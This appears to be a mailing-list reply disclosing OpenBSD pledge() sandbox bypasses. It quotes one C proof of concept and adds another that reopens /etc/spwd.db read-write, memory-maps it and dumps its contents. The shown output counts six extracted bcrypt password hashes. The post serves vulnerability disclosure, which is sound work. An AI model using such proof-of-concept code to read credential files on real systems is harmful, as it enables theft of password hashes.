On Tue, Oct 24, 2017 at 01:45:42PM +0200, Daniel Hartmeier wrote:
> So all an attacker has to do is call pledge() again, with LESS
> permissive promises, i.e. giving up getpw?
>
> #include <stdio.h>
> #include <unistd.h>
>
> int main()
> {
> if (pledge("stdio rpath getpw", NULL) == -1)
> err("pledge");
> printf("first fopen %s\n", fopen("/etc/spwd.db", "r") ?
> "succeeded" : "failed");
> if (pledge("stdio rpath", NULL) == -1)
> err("pledge");
> printf("second fopen %s\n", fopen("/etc/spwd.db", "r") ?
> "succeeded" : "failed");
> return 0;
> }
>
> first fopen failed
> second fopen succeeded
>
> Daniel
In Daniel's fashion I'm going to provide a program that busts through
pledge "rpath wpath getpw" on /etc/spwd.db and there is 42 such instances in
the system according to this:
# cd /usr/src
# grep -R pledge * | grep rpath | grep wpath | grep getpw | awk -F: '{print
$1}' | sort -u |wc -l
An attacker could make use of this by opening spwd.db O_RDWR...
------------->
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(void)
{
struct stat sb;
char *mm;
int fd;
int i;
if (pledge("stdio rpath wpath getpw", NULL) < 0) {
perror("pledge");
exit(1);
}
fd = open("/etc/spwd.db", O_RDONLY, 0600);
if (fd < 0) {
perror("open");
fprintf(stderr, "reopening O_RDWR..\n");
fd = open("/etc/spwd.db", O_RDWR, 0600);
}
fstat(fd, &sb);
mm = (char *)mmap(NULL, sb.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (mm == MAP_FAILED) {
perror("mmap");
exit(1);
}
for (i = 0; i < sb.st_size; i++) {
printf("%c", mm[i]);
}
munmap(mm, sb.st_size);
close(fd);
exit(0);
}
<-------------
beta$ ./mmaptest | strings | grep '$2b' |wc -l
open: Operation not permitted
reopening O_RDWR..
6
I think this could be abused...
Regards,
-peter